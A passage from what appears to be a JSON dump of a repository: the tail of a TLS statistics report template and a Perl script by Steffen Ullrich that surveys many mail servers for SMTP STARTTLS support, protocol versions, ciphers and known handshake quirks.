(%{tls.initial.percent}%)\nTLS after downgrade:      %{10d:tls.downgrade} (%{tls.downgrade.percent}%)\nTLS total fail:           %{10d:tls.fail} (%{tls.fail.percent}%)\n\nTLS common problems:\nTLS1.1+ required:         %{10d:tls.fail.notls10} (%{tls.fail.notls10.percent}%)\nOnly TLS1.2 ciphers:      %{10d:tls.fail.no-v3-ciphers} (%{tls.fail.no-v3-ciphers.percent}%)\nCroak on MD5 client cert: %{10d:tls.fail.croak-md5-client-cert} (%{tls.fail.croak-md5-client-cert.percent}%)\n\nTLS protocols used:\nTLS1.2:                   %{10d:tls.TLSv1_2} (%{tls.TLSv1_2.percent}%)\nTLS1.1:                   %{10d:tls.TLSv1_1} (%{tls.TLSv1_1.percent}%)\nTLS1.0:                   %{10d:tls.TLSv1} (%{tls.TLSv1.percent}%)\nSSL3.0:                   %{10d:tls.SSLv3} (%{tls.SSLv3.percent}%)\n\nCiphers used:\nECDHE-* (PFS)             %{10d:tls.ECDHE} (%{tls.ECDHE.percent}%)\nDHE-* (PFS)               %{10d:tls.DHE} (%{tls.DHE.percent}%)\nRC4 (bad)                 %{10d:tls.RC4} (%{tls.RC4.percent}%)\n\nTEMPLATE\n"
  },
  {
    "path": "mx_starttls_bulk.pl",
    "content": "#!/usr/bin/perl\n# Copyright 2014 Steffen Ullrich <sullr@cpan.org>\n#   This program is free software; you can redistribute it and/or\n#   modify it under the same terms as Perl itself.\n#\n# bulk check for SMTP support and problems\n# See -h|--help option for usage\n\nuse strict;\nuse warnings;\nuse Net::DNS;\nuse IO::Socket::SSL 1.967;\nuse IO::Socket::SSL::Utils;\nuse Data::Dumper;\nuse Sys::Hostname;\nuse Time::HiRes 'gettimeofday';\nuse Getopt::Long qw(:config posix_default bundling);\nuse Socket;\n\n$|=1;\nmy $DEBUG = 0;\nmy $max_task = 500;\nmy $timeout  = 30;\nmy $ciphers  = 'DEFAULT';\nmy $ehlo_domain = hostname() || 'no.such.name.local';\nmy $ismx = 0;\n\n# multi-line SMTP response, first number of status code in $1\nmy $smtp_resp = qr{\\A(?:\\d\\d\\d-.*\\r?\\n)*(\\d)\\d\\d .*\\r?\\n};\n\nmy $usage = sub {\n    print STDERR \"ERROR: @_\\n\" if @_;\n    print STDERR <<\"USAGE\";\n\nBulk analysis of SMTP STARTTLS behavior.\nNeeds TLS1.2 support in Net::SSLeay/OpenSSL.\n\nUsage: $0 [-d|--debug] [-h|--help] [--max-task N] [--hostname N] [domains]\n  -d|--debug      enable debugging\n  -h|--help       this help\n  --max-task N    maximum number of parallel analysis tasks ($max_task)\n  --hostname N    hostname used in EHLO ($ehlo_domain)\n  --ciphers C     use OpenSSL cipher string instead of 'DEFAULT'\n  --ismx          List of domains is list of MX for domains,\n\t\t  i.e. no more MX lookup needed\n  domains         List of domains, will read lines from STDIN if not given\n\nThe result will contain a line for each given domain with multiple entries\nseparated by space. The first item will be the domain name. If the second items\nstarts with '-' it will indicate a failure, like:\n\n  -nomx                No MX for domain found in DNS.\n  -nomxip              No IP for MX found in DNS.\n  -timeout:...         Timeout of task.\n  -smtp-greeting-..    Problem during SMTP greeting.\n  -smtp-ehlo-...       Problem during SMTP EHLO command.\n  -smtp-starttls-...   Problem during SMTP STARTTLS command.\n  -smtp-no-starttls    No STARTTLS support.\n  -tls                 TLS handshake finally failed.\n\nOtherwise the second item will indicate the SSL success information like this:\n\n   tls:SSLv23:TLSv1/DHE-RSA-AES256-SHA\n         |      |        |\n\t |      |        +- cipher used for connection\n\t |      +---------- protocol version used for connection\n\t +----------------- handshake tried\n\nThe following handshakes will be tried in this order until connection success:\n   SSLv23      - most compatible handshake\n   TLSv1_2     - TLS 1.2 handshake\n   TLSv1_1     - TLS 1.1 handshake\n   TLSv1       - TLS 1.0 handshake\n   SSLv3       - SSL 3.0 handshake\n   SSLv23/ALL  - like SSLv23, but offers ALL ciphers (including LOW and ADH)\n                 instead of only DEFAULT\n\nThe next items give information about handshakes tried and they\nsucceeded(+tls:...) or failed(-tls:...), e.g.\n\n   +tls:SSLv23:TLSv1/DHE-RSA-AES256-SHA\n   -tls:notls10:SSL connect attempt failed...wrong version number\n\nIn addition to the handshakes given above the following handshakes will be tried\n\n   notls10 - SSLv23 handshake allowing up to TLS1.0. This will only be tried\n             if TLS1.1+ is available. Failure indicate problems for TLS1.0\n\t     clients.\n   no-v3-ciphers - SSLv23 but with explicitly disabling SSL3.0 ciphers. Failure\n             indicate broken client, which might tried to work around POODLE\n\t     related problems by disabling SSL3.0 ciphers (which are needed for\n\t     TLS1.0 and TLS1.1 too) instead or additionally to disabling SSL3.0\n\t     protocol version only.  This will only be tried if TLS1.2 is\n\t     available.\n   croak-md5-client-cert - SSLv23 with MD5 client certificates. This might\n             trigger a bug in some mail servers which close TLS1.2 connection\n\t     when they get a MD5 client certificate. Will only be run if TLS1.2\n\t     is available.\n\nUSAGE\n};\n\nGetOptions(\n    'h|help' => sub { $usage->() },\n    'd|debug' => \\$DEBUG,\n    'max-task=i' => \\$max_task,\n    'hostname=s' => \\$ehlo_domain,\n    'ciphers=s' => \\$ciphers,\n    'ismx' => \\$ismx,\n) or $usage->();\n\n$usage->(\"no TLS1.2 support in your Net::SSLeay/OpenSSL\")\n    if ! defined &Net::SSLeay::CTX_tlsv1_2_new;\n\nmy $initial = $ismx ? [ 'A', \\&dns_name2a ]:[ 'MX', \\&dns_mx ];\n\nmy $next_domain = @ARGV ? sub { shift @ARGV } : sub {\n    while (1) {\n\tdefined(my $line = <STDIN>) or return;\n\treturn $1 if $line =~m{^([\\w\\.\\-]+)};\n    }\n};\n\n# What kind of tests we do: [ id,\\&run_if_true,%nondefault_ssl_opt ]\nmy @ssl_tests;\n# Start with SSLv23 as the most compatible, then try with downgrades\nfor(\n    qw(SSLv23 TLSv1_2 TLSv1_1 TLSv1),\n    defined(&Net::SSLeay::CTX_v3_new) ? ('SSLv3'):()\n) {\n    push @ssl_tests, [ $_,\n\t# run only if no success yet\n\tsub { ! shift->{ssl_success} },\n\tSSL_version => $_\n    ]\n}\n\n# If nothing helps try with all ciphers instead of DEFAULT.\npush @ssl_tests, [ 'SSLv23/ALL',\n    sub { ! shift->{ssl_success} },\n    SSL_cipher_list => 'ALL'\n];\n\n\n# Now add some test for some typical problems:\n# Wrong POODLE fix by disabling all SSLv3 ciphers. Only relevant if we managed\n# to do a TLS1.2 handshake.\npush @ssl_tests, [ 'no-v3-ciphers',\n    sub {\n\tmy $succ = shift->{ssl_success} or return;\n\treturn $succ->{version} eq 'TLSv1_2';\n    },\n    SSL_cipher_list => \"$ciphers:!TLSv1.2\"\n];\n\n# Missing support for TLS1.0 clients. Only relevant if we managed to do a\n# handshake with TLS1.1+.\npush @ssl_tests, [ 'notls10',\n    sub {\n\tmy $succ = shift->{ssl_success} or return;\n\treturn $succ->{version} =~ /TLSv1_[12]/;\n    },\n    SSL_version => 'SSLv23:!TLSv1_2:!TLSv1_1'\n];\n\n# *.mail.protection.outlook.com, AntiSpamProxy...\n# croak on MD5 client certificate used with TLS1.2\n# Do this test only if handshake succeeded with TLS1.2\n{\n    my $md5cert = create_client_cert('md5',$ehlo_domain);\n    push @ssl_tests, [ 'croak-md5-client-cert',\n\tsub {\n\t    my $succ = shift->{ssl_success} or return;\n\t    return $succ->{version} eq 'TLSv1_2';\n\t},\n\tSSL_cert        => $md5cert->{cert},\n\tSSL_key         => $md5cert->{key},\n    ],\n}\n\n\nmy $res = Net::DNS::Resolver->new;\n\nmy (@task,@defer_task);\nmy $end;\nmy $done = 0;\nwhile (@task or !$end) {\n\n    # expire old tasks\n    my $now = time();\n    while (@task && $task[0]{expire} <= $now) {\n\tprint \"$task[0]{domain} -timeout:$task[0]{state}\\n\";  # failed\n\t$done++;\n\tshift @task;\n    }\n\n    while (@defer_task && @task<$max_task) {\n\tmy $t = shift(@defer_task);\n\tif ($t->{resume}($t)) {\n\t    delete $t->{resume};\n\t    push @task,$t;\n\t} else {\n\t    $max_task--;\n\t    warn \"reduce max_task to $max_task\\n\";\n\t    $max_task<2 or die \"to few parallel tasks!\";\n\t    push @defer_task,$t;\n\t}\n    }\n\n    # read new tasks from stdin\n    while (@task<$max_task and !$end) {\n\tmy $dom = &$next_domain or do {\n\t    $end = 1;\n\t    last;\n\t};\n\n\tpush @task,{\n\t    domain => $dom,\n\t    expire => time() + $timeout,\n\t    wantread => $initial->[1],\n\t    state => 'dns',\n\t    ssl_tests => [ @ssl_tests ],\n\t};\n\tDEBUG($task[-1],\"new task\");\n\t$task[-1]{fd} = $res->bgsend($dom,$initial->[0]) or do {\n\t    push @defer_task,pop(@task);\n\t    $defer_task[-1]{resume} = sub {\n\t\tmy $task = shift;\n\t\t$task->{fd} = $res->bgsend($task->{domain},$initial->[0])\n\t\t    and return 1;\n\t\twarn \"failed to create fd for DNS/MX($!)\\n\";\n\t\t0;\n\t    };\n\t    last;\n\t};\n    }\n\n    @task or last;\n    my $to = $task[0]{expire} - $now;\n    my $rmask = my $wmask = '';\n    for(@task) {\n\tvec($rmask,fileno($_->{fd}),1) = 1 if $_->{wantread};\n\tvec($wmask,fileno($_->{fd}),1) = 1 if $_->{wantwrite};\n    }\n    $0 = sprintf(\"scan tasks=%d done=%d defered=%d to=%d\",@task+0,$done,@defer_task+0,$to);\n    my $rv = select($rmask,$wmask,undef,$to);\n    $rv or next;\n\n    for(my $i=0;1;$i++) {\n\tmy $task = $task[$i] or last;\n\tfor([ wantread => $rmask ],[ wantwrite => $wmask ]) {\n\t    $task->{fd} or last;\n\t    if (vec($_->[1],fileno($task->{fd}),1)\n\t\tand my $sub = delete $task->{$_->[0]}) {\n\t\t$sub->($task);\n\t    }\n\t}\n\n\tif (!$task->{result} && !@{$task->{ssl_tests}}) {\n\t    # final result\n\t    my $succ = $task->{ssl_success};\n\t    $task->{result} = $succ\n\t\t? \"tls:$succ->{id}:$succ->{version}/$succ->{cipher}\"\n\t\t: \"-tls\";\n\t}\n\n\tif ($task->{result}) {\n\t    my $info = $task->{info} ? \" \".join(\";\",@{$task->{info}}) :\"\";\n\t    print \"$task->{domain} $task->{result}$info\\n\";\n\t    splice(@task,$i,1);\n\t    $done++;\n\t    for(@{$task->{related_tasks} || []}) {\n\t\tprint \"$_->{domain} $task->{result}$info\\n\";\n\t\t$done++;\n\t    }\n\t    redo;\n\t} elsif ($task->{resume}) {\n\t    push @defer_task,$task;\n\t    splice(@task,$i,1);\n\t    redo;\n\t} elsif ($task->{related}) {\n\t    # not active by its own\n\t    splice(@task,$i,1);\n\t    redo;\n\t}\n    }\n}\n\nsub dns_mx {\n    my $task = shift;\n    DEBUG($task,\"get mx\");\n    my $pkt = $res->bgread($task->{fd}) or do {\n\t$task->{wantread} = \\&dns_mx;\n\treturn;\n    };\n    my @mx =\n\tmap  { $_->exchange }\n\tsort { $a->preference <=> $b->preference }\n\tgrep { $_->type eq 'MX' }\n\t$pkt->answer;\n    if (!@mx) {\n\t# check if the given name is instead the MX itself\n\t$task->{nomx} = 1;\n\t@mx = $task->{domain};\n    }\n    my %name2ip  =\n\tmap { $_->type eq 'A' ? ( $_->name,$_->address ):() }\n\t$pkt->additional;\n    my $ip = $name2ip{lc($mx[0])};\n    if (!$ip) {\n\t$task->{wantread} = \\&dns_name2a,\n\t$task->{fd} = $res->bgsend($mx[0],'A');\n\tif (!$task->{fd}) {\n\t    $task->{resume} = sub {\n\t\tmy $task = shift;\n\t\t$task->{fd} = $res->bgsend($mx[0],'A') and return 1;\n\t\twarn \"failed to create fd for DNS/A($!)\\n\";\n\t\t0;\n\t    };\n\t}\n\treturn;\n    }\n    return tcp_connect($task,$ip);\n}\n\nsub dns_name2a {\n    my $task = shift;\n    DEBUG($task,\"get addr to mx\");\n    my $pkt = $res->bgread($task->{fd}) or do {\n\t$task->{wantread} = \\&dns_name2a;\n\treturn;\n    };\n    my ($ip) = map { $_->type eq 'A' ? ($_->address):() } $pkt->answer;\n    if (!$ip) {\n\tif (delete $task->{nomx}) {\n\t    DEBUG($task,\"no mx found\");\n\t    $task->{result} = '-nomx';\n\t} else {\n\t    DEBUG($task,\"no addr to mx found\");\n\t    $task->{result} = '-nomxip';\n\t}\n\treturn;\n    }\n    DEBUG($task,\"assuming name is MX already\")\n\tif delete $task->{nomx};\n    return tcp_connect($task,$ip);\n}\n\nsub tcp_connect {\n    my ($task,$ip) = @_;\n    $task->{ip} = $ip;\n    $task->{state} = 'tcp';\n    # check for other tasks to same IP\n    for(@task) {\n\tif ($_ != $task and $_->{ip} and $_->{ip} eq $ip) {\n\t    $task->{related} = 1;\n\t    DEBUG($task,\"mark as related to $_->{domain}, ip=$ip\");\n\t    push @{$_->{related_tasks}},$task;\n\t    return 1;\n\t}\n    }\n\n    DEBUG($task,\"start TCP connect to $ip\");\n\n    my $fd = $task->{fd} = IO::Socket::INET->new(Proto => 'tcp');\n    if(!$fd) {\n\twarn \"failed to create INET socket: $!\\n\";\n\t$task->{resume} = sub { return tcp_connect(shift(),$ip) };\n\treturn 0;\n    }\n    $fd->blocking(0);\n    my $saddr = pack_sockaddr_in(25,inet_aton($ip));\n    if (connect($fd,$saddr)) {\n\t# immediate success\n\tsmtp_read_greeting($task);\n\t1;\n    }\n    if (! $!{EINPROGRESS} && !$!{EALREADY}) {\n\tDEBUG($task,\"TCP connection to $ip failed($!)\");\n\t$task->{result} = \"-tcpconn($!)\";\n\treturn 1;\n    }\n    $task->{saddr} = $saddr;\n    $task->{wantwrite} = \\&tcp_finish_connect;\n    1;\n}\n\nsub tcp_finish_connect {\n    my $task = shift;\n    if (connect($task->{fd},$task->{saddr})) {\n\treturn smtp_read_greeting($task);\n    }\n    if (! $!{EINPROGRESS} && !$!{EALREADY}) {\n\tDEBUG($task,\"TCP connection to $task->{ip} failed: $!\");\n\t$task->{result} = \"-tcpconn($!)\";\n\treturn;\n    }\n    $task->{wantwrite} = \\&tcp_finish_connect;\n}\n\nsub smtp_read_greeting {\n    my $task = shift;\n    DEBUG($task,\"read SMTP greeting\");\n    $task->{state} = 'smtp';\n    $task->{rbuf} //= '';\n    my $n = sysread($task->{fd}, $task->{rbuf}, 4096, length($task->{rbuf}));\n    if (!$n) {\n\tgoto again if !defined $n && $!{EWOULDBLOCK};\n\tDEBUG($task,\"got EOF in SMTP greeting\");\n\t$task->{result} = '-smtp-greeting:eof';\n\treturn;\n    }\n    if ($task->{rbuf} =~s{\\A($smtp_resp)}{}) {\n\tif ($2 != 2) {\n\t    (my $l = $1) =~s{\\r?\\n}{<NL>}g;\n\t    $l =~s{<NL>$}{};\n\t    DEBUG($task,\"got error in SMTP greeting: $l\");\n\t    $task->{result}= \"-smtp-greeting:$l\";\n\t} else {\n\t    $task->{fd}->print(\"EHLO $ehlo_domain\\r\\n\");\n\t    $task->{wantread} = \\&smtp_read_ehlo;\n\t}\n\treturn;\n    } else {\n\tgoto again;\n    }\n\n    again:\n    $task->{wantread} = \\&smtp_read_greeting;\n}\n\nsub smtp_read_ehlo {\n    my $task = shift;\n    DEBUG($task,\"read SMTP ehlo response\");\n    my $n = sysread($task->{fd}, $task->{rbuf}, 4096, length($task->{rbuf}));\n    if (!$n) {\n\tgoto again if !defined $n && $!{EWOULDBLOCK};\n\tDEBUG($task,\"EOF in SMTP ehlo response\");\n\t$task->{result} = '-smtp-ehlo:eof';\n\treturn;\n    }\n    if ($task->{rbuf} =~s{\\A($smtp_resp)}{}) {\n\tmy $l = $1;\n\tif ($2 != 2) {\n\t    $l =~s{\\r?\\n}{<NL>}g;\n\t    $l =~s{<NL>$}{};\n\t    DEBUG($task,\"error in SMTP ehlo response: $l\");\n\t    $task->{result}= \"-smtp-ehlo=$l\";\n\t} elsif ($l =~m{STARTTLS}i) {\n\t    $task->{fd}->print(\"STARTTLS\\r\\n\");\n\t    $task->{wantread} = \\&smtp_read_starttls;\n\t} else {\n\t    DEBUG($task,\"no STARTTLS support\");\n\t    $task->{result} = \"-no-starttls\";\n\t}\n\treturn;\n    } else {\n\tgoto again;\n    }\n\n    again:\n    $task->{wantread} = \\&smtp_read_ehlo;\n}\n\nsub smtp_read_starttls {\n    my $task = shift;\n    DEBUG($task,\"read SMTP starttls response\");\n    my $n = sysread($task->{fd}, $task->{rbuf}, 4096, length($task->{rbuf}));\n    if (!$n) {\n\tgoto again if !defined $n && $!{EWOULDBLOCK};\n\tDEBUG($task,\"EOF in read SMTP starttls response\");\n\t$task->{result} = '-smtp-starttls:eof';\n\treturn;\n    }\n    if ($task->{rbuf} =~s{\\A($smtp_resp)}{}) {\n\tmy $l = $1;\n\tif ($2 != 2) {\n\t    $l =~s{\\r?\\n}{<NL>}g;\n\t    $l =~s{<NL>$}{};\n\t    DEBUG($task,\"error in read SMTP starttls response: $l\");\n\t    $task->{result}= \"-smtp-starttls=$l\";\n\t} else {\n\t    my (undef,undef,%sslargs) = @{$task->{ssl_tests}[0]};\n\t    IO::Socket::SSL->start_SSL($task->{fd},\n\t\tSSL_version => 'SSLv23',\n\t\tSSL_cipher_list => $ciphers,\n\t\t%sslargs,\n\t\tSSL_verify_mode => 0,\n\t\tSSL_startHandshake => 0,\n\t    ) or die $SSL_ERROR;\n\t    return ssl_connect($task);\n\t}\n\treturn;\n    } else {\n\tgoto again;\n    }\n\n    again:\n    $task->{wantread} = \\&smtp_read_starttls;\n}\n\nsub ssl_connect {\n    my $task = shift;\n    $task->{state} = 'tls';\n    my $ssl_tests = $task->{ssl_tests};\n    my ($id,undef,%sslargs) = @{$ssl_tests->[0]};\n    my $result;\n    if ($task->{fd}->connect_SSL) {\n\tmy $version = $task->{fd}->get_sslversion;\n\tmy $cipher  = $task->{fd}->get_cipher;\n\tDEBUG($task,\"success in TLS connect $id\");\n\t$result = \"+tls:$id:$version/$cipher\";\n\t$task->{ssl_success} ||= {\n\t    id => $id,\n\t    version => $version,\n\t    cipher  => $cipher,\n\t};\n    } elsif ($!{EWOULDBLOCK}) {\n\tif ($SSL_ERROR == SSL_WANT_READ) {\n\t    DEBUG($task,\"want read in TLS connect $id\");\n\t    $task->{wantread} = \\&ssl_connect;\n\t    return;\n\t} elsif ($SSL_ERROR == SSL_WANT_WRITE) {\n\t    DEBUG($task,\"want write in TLS connect $id\");\n\t    $task->{wantwrite} = \\&ssl_connect;\n\t    return;\n\t}\n    }\n    if (!$result) {\n\tDEBUG($task,\"error in TLS connect $id: $SSL_ERROR\");\n\treturn _next_ssl_test($task,\"-tls:$SSL_ERROR\");\n    }\n    $task->{fd}->print(\"EHLO $ehlo_domain\\r\\n\");\n    $task->{wantread} = \\&ssl_read_ehlo;\n}\n\nsub ssl_read_ehlo {\n    my $task = shift;\n    DEBUG($task,\"read SMTP ehlo response after STARTTLS\");\n    my $n = sysread($task->{fd}, $task->{rbuf}, 16384, length($task->{rbuf}));\n    if (!defined $n) {\n\tif ($!{EWOULDBLOCK}) {\n\t    if ($SSL_ERROR == SSL_WANT_READ) {\n\t\tDEBUG($task,\"want read in TLS ehlo\");\n\t\t$task->{wantread} = \\&ssl_read_ehlo,\n\t\treturn;\n\t    } elsif ($SSL_ERROR == SSL_WANT_WRITE) {\n\t\tDEBUG($task,\"want write in TLS ehlo\");\n\t\t$task->{wantwrite} = \\&ssl_read_ehlo,\n\t\treturn;\n\t    }\n\t}\n\tDEBUG($task,\"error in TLS ehlo: $SSL_ERROR\");\n\t$task->{result}= \"-tls:ehlo:$SSL_ERROR\";\n\treturn;\n    }\n    if (!$n) {\n\tDEBUG($task,\"EOF in SMTP ehlo response after starttls\");\n\t$task->{result} = '-tls:ehlo-eof';\n\treturn;\n    }\n    if ($task->{rbuf} =~s{\\A($smtp_resp)}{}) {\n\tmy $l = $1;\n\tif ($2 != 2) {\n\t    $l =~s{\\r?\\n}{<NL>}g;\n\t    $l =~s{<NL>$}{};\n\t    DEBUG($task,\"error in TLS ehlo response: $l\");\n\t    return _next_ssl_test($task,\"-tls:ehlo=$l\");\n\t} else {\n\t    DEBUG($task,\"success in TLS ehlo response\");\n\t    return _next_ssl_test($task,\"+tls:\".$task->{fd}->get_sslversion.\"/\".$task->{fd}->get_cipher);\n\t}\n    }\n    # need more\n    DEBUG($task,\"TLS ehlo response - need more data\");\n    $task->{wantread} = \\&ssl_read_ehlo,\n}\n\nsub _next_ssl_test {\n    my ($task,$result) = @_;\n\n    # done with this test\n    my $ssl_tests = $task->{ssl_tests};\n    my ($id) = @{ $ssl_tests->[0] };\n    $result =~s{^(.tls:)}{$1$id:} or die $result;\n    push @{$task->{info}}, $result;\n    shift(@$ssl_tests);\n\n    # find next test\n    while (@$ssl_tests) {\n\tmy ($id,$runif) = @{ $ssl_tests->[0] };\n\tif ($runif->($task)) {\n\t    #warn \"next test: $id\\n\";\n\t    last;\n\t} else {\n\t    #warn \"skip test: $id\\n\";\n\t    shift(@$ssl_tests);\n\t}\n    }\n\n    if(@$ssl_tests) {\n\t# non-final, do next test\n\t$task->{expire} = time() + $timeout;\n\treturn tcp_connect($task,$task->{ip});\n    }\n}\n\n\n\n# create self-signed client certificate\nsub create_client_cert {\n    my $digest = shift || 'sha256';\n    my $name   = shift || 'ssl.test';\n    my ($cert,$key) = CERT_create(\n\tdigest => $digest,\n\tCA => 1,\n\tsubject => { CN => $name },\n\text => [\n\t    {\n\t\tsn => 'keyUsage',\n\t\tdata => 'critical,digitalSignature,keyEncipherment,keyCertSign'\n\t    },\n\t    {\n\t\tsn => 'extendedKeyUsage',\n\t\tdata => 'serverAuth,clientAuth',\n\t    }\n\t]\n    );\n    return { cert => $cert, key => $key };\n}\n\nsub DEBUG {\n    $DEBUG or return;\n    my $task = shift;\n    my $msg = @_>1 ? shift : '%s';\n    printf STDERR \"DEBUG %.3f %s $msg\\n\",0+gettimeofday(),$task->{domain},@_;\n}\n"
  }
]